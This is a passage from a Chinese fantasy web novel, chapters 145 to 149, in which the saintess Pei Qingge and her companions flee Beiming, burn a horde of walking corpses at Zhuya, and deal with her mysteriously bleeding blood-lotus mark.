“可是……”顿了会,裴清歌又皱起眉头,“张之极和张太妃都过了二十二岁了。” “当年的‘围北之战’,能够离开鬼王沙漠的人少之又少,前任国君明明可以看着张之极死在沙漠里,但他给了他圣湖水,还派人伪装商队把他送到沙漠边缘,就是想让他带着圣湖水回去。” “张之极得到了这样的好东西,最先想到的,肯定是自己的家人,前任国君是想一劳永逸,才会给张之极圣湖水。所以张家人里,除了白锦夜,一定还有人是‘神冥公’的后人。” “但按照你所说,现在除了白锦夜就剩下张之极和张太妃两个人,他们又超过了二十二岁,其他人的人都死了,现在腐烂得恐怕连白骨都剩不下了。”楚星玄开口道,“就算有还‘神冥公’的后人又能怎么样呢?” “按照那个圣女所说,外面这一支‘神冥公’的血脉开枝散叶,也许不只是张家人呢?我们逐个查上去,说不定会发现什么。”裴清歌眯了眯眼。 正说着话,外室的石门被打开,裴清歌警惕地看向石门。 “没事,应该是我爹。”楚星玄往前走了几步,“这里只有我和我爹知道。” 他的话音落下没一会,内室的门打开,楚云颂快步走了进来。 关了门,他的目光先是扫了一眼躺在石床上的白锦夜,才看向楚星玄,“伤怎么样了?” 楚星玄伸出胳膊露出手腕,伤口虽然在愈合,但毕竟伤筋动骨,估摸着也就恢复了三四成,“爹,你说你要罚我,怎么罚不好,这伤没个一年半载,哪能恢复如初?” 楚云颂叹了口气,指了指一旁的桌椅,走了过去,“圣女,咱们的时间不多,好好聊聊吧。” 裴清歌示意冷鸢照顾白锦夜,便走过去坐在了楚云颂的对面,“城主,有什么话直说无妨。” 楚云颂坐下后,又看向楚星玄,“国君没有那么相信我,在你的事情上,他起了疑,他本来也没有那么容易揭过这件事,但好在他发现了裴姝的行踪,也就顾不上你的事。” 楚星玄刚刚听过袁澈的话,也知道他离开北冥国的事,国君早就知道了,这件事若是追究起来,也一样是到刑崖受刑。 “国君虽然过了雷劫,但是应该是留了些后遗症。”楚云颂继续道,“刚刚我看他的状态不太对,他就迅速的回了皇宫,你们只能趁这个时间赶紧离开。” “可是我们离开又能怎么样?”楚星玄笑得有点无奈,“之前我在天风国的事情,国君是知道的,等他恢复了,不是会照样去追杀我们?” “不。”楚云颂摇了摇头,“北冥国国君世世代代不准跨过鬼王沙漠,一旦离开,就会受到天罚。上一次国君为了裴姝冒着天罚离开,结果雷劫和天罚一起到了,几乎要了国君大半条命。而且天罚一次比一次厉害,他短时间内都不可能再轻易离开北冥国了。” “原来是这样。”裴清歌这才明白,她之前还以为天罚是因为国君和裴姝唤醒了鬼王沙漠的枯尸。 “但是国君现在成功续命,就算有什么后遗症,以北冥国上千年的积累,也能很快找到解决办法,国君的实力与日俱增,说不定很快就会不再畏惧天罚。”楚云颂叹了口气,“这么多年,国君们都被困在鬼王沙漠以北,一直都在寻找能扛过天罚或者躲过天罚的办法。” “可国君既然想要续命,那他现在已经续命成功了,他为什么还要杀了……”裴清歌转头看了一眼白锦夜,继续问道,“为什么还要杀了‘神冥公’的后人?” “北冥国建国至今,秘密那么多,除了国君自己,有谁能真正的了解他们自己的这些事?国君一脉子嗣单薄,人数稀少,近几百年来,几乎就只有一子单传,你怎么能确定你知道的事情是真的?”楚云颂看着裴清歌,慢慢地道,“不要相信任何人说的,你怎么确定,那些事不是国君想要你知道的?” “所有的秘密,只掌握在国君自己的手里,能被人发现的,你以为国君自己不知道么?如果知道的事情,只是只言片语,那相对于完全不知道来说,一知半解可能更可怕。” 裴清歌抿起唇,就像是师父被国君派出去杀白锦夜,她以为自己的安排国君并不清楚,但是实际上国君还是早就全都知道了。 他只要巧妙利用,就可以提前预判,放出来一丝丝信息,完全能引导师父去做他想要看到的事情。 “那应该怎么办?”裴清歌拧着眉,“你这意思不是说,我们现在已知的一切,很可能都是国君、前任国君等等他们有意的安排,故意让我们知道的。这些可能只是真相的一部分,甚至还有可能是假的?” “是啊。”楚云颂点点头,“不能怎么办,只能做你认为对的事情了。” 裴清歌的手微微握成拳,“那你呢?你是怎么知道这些事的?” “靠眼睛,靠心。”楚云颂看着裴清歌,“我暗城和你们圣殿很多时候,其实都是在做一样的事情,只不过连续几任圣女出现意外,你们之间的传续出现了问题,剩下的,就得靠你自己了。” 说完,他站起身,“你们该走了。” “爹,你也跟我们一起走吧。”楚星玄也跟着站起来看着他,“既然你说国君也不是完全相信你,等我们都走了,他说不定会因为我迁怒你的。” “国君暂时还有需要我的地方,而且,我也还有自己的事情要做。”楚云颂摇了摇头,看向裴清歌,“到了外面,还望圣女看在我今日救了你们一命的份上,多照顾我儿子。” “城主放心。”裴清歌应了一声。 “我还有几句话要跟星玄说,圣女在外面稍等片刻。”楚云颂又道。 这一别也不知道什么时候能再见,人家父子话别,裴清歌他们自然要回避,于是和冷鸢一起扶着白锦夜到了外室。 两个人倒是也没说多久,很快就走了出来,马车已经在外面备好,城门那里是蛮天一族的地界,而蛮天一族归楚云颂统领,所以出城极为顺利。 “可是,咱们去哪呢?”进了鬼王沙漠,楚星玄忍不住开口问道。 第145章 月城城破! 裴清歌皱起眉头,白锦夜在天风国已经算是个“死人”了,他大概也没想到,到了北冥国短短几日,就要迅速的离开。 他这边死讯一传到盛京,说不定白砺寒早就派人来接管月城了,他们再去月城,恐怕也没有容身之地,“也只能先去月城,到时候……” “去月城。”白锦夜虽然醒了,但也还是很虚弱,他的声音断断续续,“去……将军府。” 裴清歌转头看他。 白锦夜从怀里摸出一块令牌递给她,令牌上只有一个“华”字,是华擎的令牌,凭借这个,他们进出月城都不成问题。 从月城到北冥国的时候,没有人受伤,一天一夜就走完了。 但是回月城的路,有两个伤员,楚星玄自顾不暇,只能由裴清歌和冷鸢扶着白锦夜慢慢走,足足用了三天的时间才走到沙漠的边缘,好在楚云颂准备的马车上带了不少干粮和水,不然这段路都成了问题。 裴清歌喝完最后一口水,看向楚星玄,“你爹还算靠谱。” “这不是还你人情?”楚星玄笑了一声,“之前我能回来不是多亏了你?” “那我确实现在才知道,你们暗城的人也会知恩图报。”裴清歌扔下水壶,“走吧,趁天黑之前进城。” 楚星玄走在她旁边,“这么多年来,暗城和圣殿明争暗斗,互相防备,这其中未必没有国君的‘功劳’。” “这是自然,权臣相斗,国君才能安枕无忧。”这一次是白锦夜开了口。 楚星玄抬眼看他,“知道得这么清楚,还把兵权都握在自己手上?” 白锦夜微微皱了下眉头,“父皇要边疆平定,江山稳固,我知道自己活不久,只能趁着自己活着的时候多做点事,哪有时间搞这些平衡?等我一死,兵权分归几处,皇上自然就能拿捏了。” “呵。”楚星玄轻笑一声,“真是一心为国的好臣子和猜忌心极重的帝王。” 这话总归有些戳白锦夜心窝子,他也就没再说话。 几个人走到月城城外,看着面前残破的城门,脚步全都停了下来。 白锦夜脸上全是震惊,猛地往前走了两步,但是无法支撑自己的身体,一下子半跪在地上。 “怎么会?”裴清歌拧了拧眉,迅速的往引雷阵的方向跑过去,仔细的检查一番,脸色难看的往回走,“引雷阵被破坏了,看这样子,一定是有大批的枯尸过境。” 白锦夜手握成拳头,狠狠地捶了一下地面,“得马上去栎阳!” 冷鸢蹲下来,查看了下地上的痕迹,“枯尸过去的时间应该不长,最多一天,从这里到栎阳要多久?” “这只能说最后一批枯尸过去的时候,最多是一天之前,我看引雷阵破坏的痕迹,起码有三四天了。按照后来那些枯尸的速度,最早的枯尸,可能已经到栎阳了。”裴清歌上前把白锦夜扶起来,“急也没用,咱们先进城看看有没有马。” 白锦夜点了点头,脸色沉得快要滴出水来。 如果按照他走之前的交代,加上裴清歌布下的引雷阵,月城不能可能城破! 除非是他的“死讯”送到盛京以后,白砺寒迅速的派人过来接管,接管的人不管不顾,才会变成现在的局面。 几个人进了城,城里面也是一片杂乱,满目疮痍,这情景就像是遭到一场洗劫。 只不过枯尸不可能洗劫任何东西,它们只是朝着自己心里的目标往前冲,一切挡路的东西都会被它们破坏。 月城北城门到南城门之间的主干道已经完全看不出来模样,周边的街市也全都被破坏,入眼全是断壁残垣! “先去将军府看看吧。”裴清歌低声道,“枯尸只是为了穿过月城,应该不会到处乱跑,将军府位置偏僻,说不定没有被破坏。” 事实也确实如此,越是远离南北的主干道,被破坏的就越少。 等到将军府附近的时候,基本上就没什么破坏了。 裴清歌这才松了口气,将军府里有几匹马,门房和厨娘走的时候,就把马散开了,马料和水都有,它们应该也饿不死。 推开门之后,几匹马就卧在院子里,虽然院子里已经被马粪和马尿侵占得几乎没有落脚的地儿,但起码马是有了。 冷鸢抬手在口鼻前扇了扇,走进去把马牵了出来,“我看那边有个酒楼,里面不知道有没有吃的,去那坐一会,我弄点吃的,咱们带着上路。” “也好。”裴清歌点点头,又看向白锦夜,“已经这样了,你再担心也没用,从这到栎阳快马也要一天半,不能不吃不喝。” “就是。”楚星玄抬手揽住白锦夜的肩膀,“你活着,带兵守边关,你要是真死了,闭上眼睛,那这些身后事该怎么样就怎么样,你一点办法都没有。再说,你现在回去,用什么身份呢?也没人会听你的。用什么样的人,做什么样的事,那是你们皇上决定的,什么后果他都得受着。” “这后果不是他受着,是百姓。”白锦夜拧着眉,“月城的百姓之前都临时迁到了栎阳。”顿了会,他才补充,“当年月城一个百姓都没有,我来了月城之后,游说了很久,才陆陆续续的有百姓从其他城池搬到月城,我许诺会给他们安定的生活,若是他们出了事……” 裴清歌对冷鸢使了个眼色,冷鸢翻身上马,先朝着那个酒楼飞奔。 “行了行了。”楚星玄拍了怕白锦夜,“那咱们赶紧吃一口,然后过去看看。” “鬼卿还在,栎阳能守住的。”裴清歌叹了口气。 白锦夜没再说话,但是眸色阴沉的可怕,父皇只因为偏爱白砺寒,心里明知道他不是做皇上的最佳人选,可也还是把皇位给了他。 他跟父皇承诺过,有生之年都会帮皇兄守住这江山。 他的命本来就该到年底,若是他真的死了,这些不知道也就算了。 可是他才刚刚离开几天,就变成了这副模样。 也许错的是他自己,他不该做这么多事,可能皇兄也早就成长起来了。 又或者,他应该彻底解决枯尸的事情之后,再离开。 可是,这一次枯尸的事情解决完,下一次遇到别的事呢? 他第一次觉得,皇位由白砺寒来坐,是个错误! 第146章 和感情无关,只是道理如此 酒楼里米面都有,简单地吃了些东西,冷鸢又带了些干粮,四个人便赶紧上路了。 从月城的南城门出来,外面和月城内一样,到处都是断枝残叶,草木和农田全都被枯尸踏平。 几人也无暇顾及这些,只能尽快往栎阳的方向赶,当晚也就休息了两三个时辰,终于在第二天晚上的时候,赶到了珠崖。 还没靠近,就听到前面的打杀的声音传来。 白锦夜捏着缰绳的手微微松了些,若是还在珠崖拦截,就证明栎阳没事! 珠崖两侧都悬崖峭壁,只有一条路可以通过,他们此刻在枯尸的后方,是没办法绕过枯尸抵达栎阳的。 裴清歌翻身下了马,眯眼往前面看了看,“两面夹击也不错。”她说着看向冷鸢,“帮个忙。” 冷鸢点点头,跟着裴清歌往前走。 “诶诶诶,我虽然受了伤,打斗不行,但是如果有不需要动手的事,我也能帮忙的。”楚星玄也跟了上来,说完话,还不忘看向白锦夜,“你留下看马吧。” 白锦夜微皱了下眉头,也没有反驳,在对付枯尸这件事上,他们确实都比他在行。 裴清歌和冷鸢两个人一起布阵,速度快了不少。 楚星玄在身上的锦囊里翻了翻,拿出来一条虫子,往枯尸的方向扔了过去,随即便拍了拍手,回到了白锦夜旁边,身子一斜,靠在马上。 “这就完了?”白锦夜觑着他。 “是啊,那是腐尸虫,就是靠吃尸体为生的,吃饱了之后,会迅速产卵,卵在尸体上孵化的非常非常快,然后吃饱了再产卵,一只腐尸虫就足够了。”楚星玄解释道。 想到那密密麻麻的画面,白锦夜头皮都有点发麻,“这么多虫子,之后不会带来别的什么后果吧?” 楚星玄用下巴点了点裴清歌他们的方向,“她们这是无间火阵,等火烧起来,那些虫子就跟枯尸一起烧死了。”解释完这个,他轻轻地叹了口气,“你这好歹也算是成了冥尸,该学的总得学学。” 白锦夜看了他一眼没说话。 “不然你和裴清歌之间,有什么共同话题?”楚星玄唇角勾着一抹笑,看着最后面的枯尸倒下一片,腐尸虫不断的往前面涌去,前面的枯尸也跟着逐个倒下。 若是没有火阵,只靠这腐尸虫,其实也能解决枯尸,只不过需要的时间长一点而已。 白锦夜微微皱起眉,“跟你有什么关系?” “劝你别对圣女动心。”楚星玄嘴角的笑意更浓,“圣女可没什么七情六欲,以前她把圣殿的规矩、国君的话、北冥国的律法奉为圭臬,一言一行皆是按照这些,可以完全不掺杂个人感情。” “你再欺辱她,因为圣女不能用术法害人,她也不会用术法害你、反抗你。” “你再无辜,她觉得你威胁到北冥国的安全,都可能会要了你的命。” “若你活着对天下苍生有益,她拼了这条命,也会一直护着你。” “但这些,和任何感情都没有关系,只是因为道理如此。” “我爹就说,圣女就是行走的傀儡,没有感情,只是国君养的一把利剑。” “但是现在……”楚星玄抬手摸了摸下巴,“她虽然想要开始反抗国君了,可很多东西早已经是根深蒂固,想改也没那么容易。” 他说着眯了眯眼,从北冥国离开之前,楚云颂私下跟他说,国君当时状态不对要回皇宫,让他继续去追圣女和白锦夜,国君虽然是满脸怒意,咬牙切齿,说白锦夜可以直接斩杀,但不准伤害圣女。 楚云颂当时也算是试探,说这刀剑无眼,万一一不小心…… 国君的脸色当时就变了。 再加上楚云颂起初以为国君不知道裴清歌在哪,才会退而求其次选择把裴姝带回去给他续命。 但原来国君一直都知道裴清歌的下落,可他还是选择了裴姝,就证明,国君不想让裴清歌承受逆天改命的雷劫。 由此可见,圣女对国君来说,定然还有别的用处。 楚云颂让楚星玄跟着裴清歌一起出来,一是为了保命,此外也是要探清裴清歌对国君的用处到底是什么,这一点,说不定对他们来说有极大的帮助。 听了楚星玄的话,白锦夜拧起眉,圣女断七情六欲这件事,鬼卿也跟他提起过,可也没有楚星玄说出来让人感觉这么不舒服,“我跟你很熟?” “不太熟,还有帐没算。”楚星玄看着他笑道,“所以我说这些,就是为了让你心里发堵的。” 白锦夜眯了眯眼,还不等再说话,裴清歌和冷鸢的方向就着起了大火。 火势瞬间暴涨,直接往枯尸的方向席卷而去。 裴清歌和冷鸢也走了回来,之前在月城的时候,城外的山连成一片,若是放火阵,大火往山上蔓延,山火一起,影响太大。 但是如今这珠崖两侧都是悬崖峭壁,火只能在枯尸身上蔓延,也烧不到山上去。 只是…… “希望那边的人看到大火烧过去,能及时躲开吧。”冷鸢把她担心的话说了出来。 “不至于那么傻。”白锦夜开口道。 “我刚才在枯尸堆里看到了几个身形特别像是蛮天的枯尸。”裴清歌说着转头看向楚星玄,“我没看错吧?” “嗯。”楚星玄应了一声。 “那就好。”裴清歌点点头,“蛮天都出来了,证明这真的是最后一波枯尸了。” “你之前说,控制这些枯尸往前走的,是它们生前想要走出鬼王沙漠回家的执念,那蛮天呢?它们为什么不往北冥国的方向走?”白锦夜拧眉问道。 裴清歌摇了摇头,也不是很理解。 “蛮天一族的使命就是守卫北冥国。”楚星玄把话接了过来,“它们大概是为了驱逐入侵者,变成枯尸之后,就追着这些入侵者的枯尸追出来了。而且蛮天一族本就好战,战斗至死可能也是它们的执念。” “十五年前,多少人枉死成了冤魂。”裴清歌轻声道,“真是作孽。” 第147章 我可能……快死了 楚星玄闻言神色微微一赧,毕竟十五年前的事,他爹也有份儿。 “等等吧。”裴清歌收回目光,席地坐下来,这几天一直在奔波,根本没有好好休息过,她也不是铁打的,早就是硬撑着了。 前面的火暖暖的烤着,没一会,裴清歌的眼皮打架,就睡了过去。 白锦夜微微皱了下眉,脱下自己的外套披在裴清歌的身上,又扶起她,让她枕在了自己的腿上。 做完这些,一抬眼,便见冷鸢带着几分敌意盯着他。 裴清歌并没有提过她和白锦夜的关系,只说他是天风国的王爷,师父有意让他们结识,应该是有所安排。 楚星玄眯眼看了看,唇角勾起一抹笑,也靠在一边的树上睡了。 冷鸢盯了白锦夜一会才收回目光,靠在一边休息。 大火足足烧到第二天中午才灭了下去,但是过火的地方太热,还是没办法穿过,等到第三天,几人才艰难地穿过火场。 等过了珠崖,身上已经全是炭黑。 楚星玄嫌弃地拍着身上的烟尘,但毫无用处。 “行了,进了城,找地方洗洗就是了。”裴清歌从他身边走过,忍不住说了一声。 华擎专门派了彭之滨带了两个人在城外等白锦夜他们,迎战的那天,他们看到珠崖的另外一端起了火,就猜到是白锦夜和裴清歌回来了。 彭之滨没有带他们走正门,而是从侧门进去,七拐八拐,到了一个很偏僻的院子,“王爷,你们先稍事休息,华将军稍晚点会过来。” 白锦夜点了点头,华擎心思细密,如今这样安排,定然是栎阳并不在掌握之中。 几个人各自先去洗漱,这里备着的也不是什么锦衣华服,都是简单的粗布衣服。 白锦夜从房间里出来,楚星玄已经坐在堂上喝茶了,他一脸嫌弃的模样,“啧啧,做王爷的时候,喝的是凤毛麟角的茶叶,如今只能喝些茶碎了。” “嫌弃可以不喝。”白锦夜瞥了他一眼。 冷鸢也进了大堂,看了一圈,“圣女还没出来么?” 白锦夜微皱了下眉头,“我去看看。” “我……”冷鸢正要说她去的时候,却被楚星玄抓住胳膊,她转头看过去,“少主有事?” “在外面,就没必要这么称呼了。”楚星玄看着白锦夜的身影消失在转角,才开口,“难道裴清歌没跟你说她和白锦夜是什么关系么?” “是什么关系?”冷鸢拧起眉头,见白锦夜已经离开拦不住了,对楚星玄拦她这事满脸的不爽。 楚星玄笑了笑,“你猜呢?” “你有话就直说,不然不要没话找话。”冷鸢往白锦夜离开的方向看了看,犹豫着要不要过去。 楚星玄摊了摊手,“那就当我什么都没说。” 冷鸢瞪了他一眼,最终还是跟了过去。 白锦夜走到门前,抬手敲了敲门,“你……收拾好了么?” 房间里半响没有动静,白锦夜皱起眉头,正要直接开门进去的时候,才听裴清歌问道,“门外都有谁?” “我自己。”白锦夜推门的手放了下来。 “你进来把门关好。”裴清歌顿了顿说了句。 白锦夜这才重新推开门,进了房间转身正要关门的时候,跟上来的冷鸢突然抬手推住门。 她冷着脸看着白锦夜,“王爷,圣女沐浴更衣,你进去恐怕多有不妥,还请你先离开,我会照顾圣女。” 白锦夜微微皱起眉,裴清歌刚才的问题,显然是不想让别人进来,他关门的手也没放开。 对峙间,裴清歌的声音再次传过来,“阿鸢,你在门外守着。” 冷鸢似乎没想到裴清歌会帮白锦夜说话,顿了好一会,才闷声道,“是。”说完放开手退到了一边。 白锦夜关上门,往房间里面走了几步,在屏风前停了下来,“你没事吧?” “你过来。”裴清歌又道。 白锦夜的手微微捏了一下,才绕过屏风。 裴清歌披着外衣,靠在浴桶坐在地上,血在她身后汇聚成了一小滩,就连浴桶里的水都染成了淡红色。 白锦夜眉心狠狠地一皱,快步走到她身边蹲下来,“你受伤了?” 他仔细地回忆了这几天,并没有见到她受伤,穿过火场的时候还好好的,就连刚才各自去房间沐浴之前,也没见她有什么异样。 裴清歌扯掉外衣,侧过身,血正在不断的从她肩头血莲的纹理里渗出来,没什么伤口,但血就是流个不停。 “怎么回事?”白锦夜从一旁拽过布巾,轻轻地擦拭了一下,但血又很快涌出来,他有些手足无措,如果是伤口,可以按压止血,可以撒伤药上去,但眼下这要怎么办? “我也不知道。”裴清歌抿着唇。 刚刚她开始沐浴的时候,还没什么异状,但过了会,她突然发现水里有一抹红色正在逐渐晕染开。 她第一个反应也是她受伤流血,可是哪里都没有感觉到疼痛,检查了半响没发现伤口,最后才发现是血莲的流血。 她也尝试了不少办法,可是都没有办法止血。 若是这血再这么流下去,她恐怕就要死在这里了。 白锦夜只能先把她抱起来,放到床上。 裴清歌趴在床边,胳膊垂在窗外,血莲上流出的血,就顺着她的手臂、手指滴到地上,她看着这血,已经开始有些眩晕。 “我该做什么?”白锦夜拧眉看着她,“冷鸢、鬼卿或者楚星玄他们会知道怎么办么?” “血莲的事,他们都不知道。”裴清歌抿了抿唇,“我都不知道怎么办,他们更不可能知道了。” “用我的血能止血么?”白锦夜想到之前几次血莲吸血的情况,赶紧问道。 裴清歌摇了摇头,“你是冥尸,我没什么办法能割破你的皮肤,让你流出血来。” “袁澈那天不是可以么?”白锦夜想了想,那天一开始袁澈的剑也没能刺进他的身体,后来他在剑身涂了血,所以总归应该是有办法的。 “七杀斩是神兵利器,再说,国君自小受过秘法,他的血本身就能克制肉尸。”裴清歌说着垂下眼,“我可能……快死了。” 第148章 血莲晶露 “不,你不会死的。”白锦夜说着把裴清歌从床上拉起来,帮她把外套穿好,“肯定会有办法的,大不了……再回北冥国就是。” “回北冥国,你不怕死么?”裴清歌抬眼看他。 “我本来就该是个死人了。”白锦夜说着眉心一沉,“袁澈不过就是想要我的命,我死了,他也不会再为难你。” “我们逃出来,不就是希望你能活下去么?”裴清歌看着白锦夜,“你可能永远都不是国君的对手,以后就找个地方,好好活下去吧。” “如果师父让我重生在你身边,是为了帮你续命,不管结果如何,我也算是做到了。如今我对北冥国也没什么牵挂,知道师父还活着,也足够了。” “不。”白锦夜把裴清歌抱进怀里,“是我的错,你师父让我拦着你不让你再回北冥国,我知道我拦不住你,我想我跟你一起去,也许能做些什么。可是如果我不去……” “我也没有听师父的话。”裴清歌闭上眼睛。 白锦夜的手微微收紧,但又很快放开,“你休息会,我去问问楚星玄,他养那么多蛊,也许有什么办法可以把我的血吸出来。” “不用了。”裴清歌抬手抓住白锦夜的衣衫,“我也有点累了,就这样吧。这一次,我不想死的时候,身边一个人都没有。” 白锦夜眉心皱了皱,“我叫冷鸢进来陪你。” “别看阿鸢冷冰冰的,实际上心软又爱哭,她要是一直哭个不停,我可能就舍不得死了。”裴清歌闭着眼睛。 她曾经以为,北冥国的一切都是最好的。 国君每日为了天下苍生殚精竭虑。 他们从小苦学术法,都是为了帮助更多的人。 从被选为圣女继任者开始,她就想着等她成了圣女,一定继续钻研术法,惠及百姓,造福北冥国国人。 她想她要成为像师父一样、像历代圣女一样的人,在北冥国亦或是国君的危急时刻,能够力挽狂澜,哪怕付出自己的生命,她都心甘情愿。 可如今她才知道,她曾经视为神圣的一切,都是个笑话。 她努力学习的术法,说不定是助纣为虐的基石。 甚至她可能早就在不知情的情况下,为国君做过很多伤天害理的事情。 那些规矩、律法都是限制国君以外的人的。 师父说北冥国是人间地狱,让她不要再回北冥国,可她心里隐隐的总有那么一丝感觉,感觉北冥国,那个她从小长大的地方并不是她师父说的那样。 她想要回去看看,也许北冥国依旧是她心目中的样子。 她没有听师父的话,又公然和国君作对,这大概是她活至今日,做的最出格的事情了。 甚至于接下来的路,她都不知道该怎么走了。 所以一开始她发现血莲在流血的时候,她确实有些慌乱。 她想到师父,想到鬼卿,想到冷鸢,想到没有解决的瘟神蜮。 但后来她坐在那,感觉到血一点点的流失,身体一点点虚弱,又逐渐的冷静下来。 她想这样或许没什么不好。 于是她就安安静静地坐在那,等着身体里的血流尽。 若是白锦夜不来,她大概就像之前一样,跌落万丈深渊,眼睁睁地看着这个世界在自己的面前消失。 那时候的她是不甘的。 但如今,她却觉得,自己心里是前所未有的平和。 裴清歌的呼吸慢慢变得低沉缓慢,白锦夜垂眼看着她的侧脸,手紧紧地握成拳头。 不,他不能看着她就这么死掉! * 裴清歌又到了那片血红的世界,她坐在血红色的池水前,百无聊赖地看着池子里的荷花。 她不是应该死了么? 死了为什么不去阴曹地府,又来了这里? “哎。”那道不见人的声音叹了口气,“你怎么又来了?” “我也不知道,血莲流了好多血,我想我应该是死了。”裴清歌这一次已经没什么想要知道对方是谁的心思了。 “死了你该去地府,怎么会来这里?”那声音轻笑了一声,“来这里,就证明你还没死。” “还没死啊。”裴清歌轻道。 “回去吧。”那声音又道,“血莲没养成之前,不要再来了。” “又不是我自己想来的。”裴清歌微微皱了下眉,“我也不知道该怎么回去。”她说着顿了下,开口问道,“你这么了解血莲,你知不知道血莲流血是怎么回事?” “怎么回事?你还真是对血莲一无所知。”声音有些无奈,“我问你,你身体里被种下血莲的时候,给你种血莲的人是怎么说的?” 裴清歌认真的想了会,“她说,这血莲的种子会在我身体里生根发芽,等到了特定的时候,国君就会用他的血来温养血莲,血莲成熟以后,就要供养给国君。” 那声音等了会,没见裴清歌再继续往下说,便问道,“没了?” “嗯。”裴清歌应了一声。 那声音重重地叹了口气,隔了很久才说,“没跟你说,国君什么时候开始养血莲,血莲什么时候才算成熟,要怎么供养给国君?” 裴清歌摇了摇头,“她说这些事国君都知道,我不需要管,什么时候该做什么,国君自然清楚。” “呵。”那声音嗤笑一声,半响才有些无奈地道,“血莲流出来的,不是血,你看这池子里,你以为这池水是血红色,就是血了么?” 裴清歌怔了一下,往前挪了挪,抬手伸进池水里捞了一把,这血红色的池水毫无粘稠的感觉,就像是清水带上了红色。 她正愣着,突然看到一滴血红色的露水从一片花瓣上落进池水里。 “不是血……”她低声喃喃地道。 “这是血莲晶露,凝结晶露也会耗费你的精力,你的身体在一段时间内会陷入虚弱,但这晶露功效甚多,可别浪费了。”那声音说完这句,又道,“关于血莲的事情,你自己多去挖掘吧,不要总是来这里,血莲没成熟之前,来这里于你无益。” 这声音落下,裴清歌猛地睁开眼睛,她想从床上坐起来,但身体确实虚弱,又重重地倒回去。 “圣女。”冷鸢赶紧上前查看,“你醒了?感觉怎么样?没事了吧?” 裴清歌摇了摇头,顿了会想起什么,才问,“白锦夜呢?” 冷鸢抿了抿唇,朝院子里面看去。 第149章 非亲非故 白锦夜把能这院子里能翻出来的利器全都翻了出来,努力地尝试着在自己胳膊上割出一道伤口。 楚星玄站在不远处,摸着下巴看着他。 他也是被白锦夜拽过来的,问他有没有什么什么办法能割开他的皮肤。 楚星玄确实没什么办法,他们暗城的信条就是看到肉尸要绕着走,他们连肉尸都没办法伤害,又怎么可能割得开冥尸的皮肤? 那边听冷鸢的话,裴清歌的房间里有血,然后裴清歌现在在昏迷。 这两个人可真有意思。 一个洗着澡,突然流了很多血昏迷,另一个就在这疯狂的想要把自己的皮肤割破。 这样就能陪着裴清歌一起流血了? 半响后,冷鸢扶着裴清歌从房间里走出来。 裴清歌虚弱地靠在门框上。 “醒了?”楚星玄挑眉看了她一眼。 裴清歌微微点了点头,看向白锦夜,叫了他一声。 白锦夜怔了一下,转头看了眼,扔下手里已经卷了刃的刀,快步走过来,仔细地打量着裴清歌,“你感觉怎么样?” 裴清歌摇了摇头,“没事了。” 楚星玄伸了个懒腰,“哎,闹腾了半天,冷鸢你赶紧去做饭吧,我快要饿死了。” 冷鸢还是有些担心地看着裴清歌,“圣女……”顿了顿,她才道,“那我给你熬个补血气的汤。” “好。”裴清歌应了一声。 还没再说话,就见一身常服的华擎脚步匆匆地走了进来,他正要行礼,却见白锦夜对他摆了摆手。 “我没事了。”裴清歌又重复了一边,“华将军找你,你去忙吧。” 白锦夜顿了会,冷鸢去准备晚饭,他也不放心裴清歌一个人呆着,于是便叫华擎一起进了房间。 把裴清歌送回床上,他才绕过屏风,走到桌边,“坐下说吧。” 这是裴清歌的房间,华擎也不敢四处乱看,但还是隐约地看见不少暗红色的痕迹,“王爷,王妃……受伤了么?没什么大碍吧?” 他想着心里也不由暗骂彭之滨,他特意留下彭之滨迎王爷和王妃,结果王妃受伤这么大的事,彭之滨也没有提前跟他知会一声! “没事。”白锦夜虽然这么说,但还是下意识地往屏风那边看了一眼,才收回目光问道,“月城是怎么回事?” 华擎叹了口气,“听说是王爷你们刚一出京的时候,贺元忠就乔装一起出了城,等在安邑,你让梅君武把那封信寄到盛京,信其实是先到了安邑,所以在你离开的第二天,贺元忠就到了月城来接管大军。” “属下和倪将军、梅郎将一起把布防的事情给他讲了一遍,但他不听,说既然几日都没有枯尸,证明就是没有了,要求立刻通知月城的百姓,让月城的百姓回迁。” “还有王妃留下的引雷阵,也是他派人去强行毁掉的。只不过通知月城百姓回迁的手令还没送出去,大批枯尸就到了,贺元忠当即下令放弃月城,退守珠崖。” “引雷阵已经破坏,留在月城也只是负隅顽抗,属下和倪将军商议后,随贺元忠退守珠崖。只不过过了珠崖,贺元忠和他的亲兵就直接进了栎阳城,再也没有露过面。好在左辞他们提前在珠崖有部署,前两天也算是安然度过。” “但那些部署消耗殆尽之后,枯尸还是源源不绝,我们的士兵损失惨重,左辞……” “左辞怎么样?”白锦夜神色一怔,赶紧开口问道。 “左辞受了重伤,幸好王妃留下的那个随从眼疾手快把他救了出去,性命无忧,可也昏迷到现在都还没醒。”华擎说着狠狠地拍了一下桌子,又想到王妃还在休息,赶紧看了眼屏风的方向,讪讪地把手收了回来,“这贺元忠真是该死!” “皇上如此,将军如此,受苦的便是百姓和士兵。”白锦夜叹了口气。 “贺元忠已经把栎阳守城的士兵都换成了他的亲兵,之前又从盛京那边调了几百人过来,每日在城里巡防。”华擎压低了声音,“他话里话外,都是说没见到尸体,就只能认为王爷还可能没死,假装一片好心地说,要是王爷受伤了,巡防的人也能第一时间发现王爷,把王爷救回去。” “这几天,梅郎将过得也不太好,被贺元忠叫过去几次,都是打探之前的事情,他也不相信梅郎将,之前属下听到他阴阳怪气的说,唐安死了,但梅郎将没死,是不是梅郎将已经暗中投奔了王爷,而唐安正是因为一直效忠皇上、反抗王爷,才会被王爷阵前斩杀。” 白锦夜微微眯了眯眼,没再说话。 华擎叹了口气,“过几日,按照之前说的,属下和倪徵就会辞官了。” “不管是谁接管,都会排除异己,也不会再用之前我的人。”白锦夜说着顿了顿,“我也……” “王爷,属下等都知道你有苦衷。”华擎打断白锦夜的话,白锦夜对他的身后事早就有安排,他们自从跟着他的那天起,就知道他随时有可能像张太妃一样疯掉,像张家人一样早逝,他已经尽可能的把他们的后路都安排好,只是没想到最后会有枯尸这一遭。 白锦夜微微点了下头,“我们应该只在这短暂停留,后面的事,你们多小心。” 华擎点点头,站起身,“王爷,那不知……你之后有什么打算?” 白锦夜沉默了会,目光转向屏风的方向,顿了会才说,“我也许……该为自己做点事了。” 华擎怔了怔,双手抱拳,“无论王爷在哪,属下在哪,属下都衷心希望王爷身体康健,与王妃恩爱睦睦。” 白锦夜没再说话,华擎也不便就留,就离开了。 裴清歌靠在床头,看着白锦夜绕过屏风走过来,目光落在他的手和手腕上,那些地方,还隐约有些白痕。 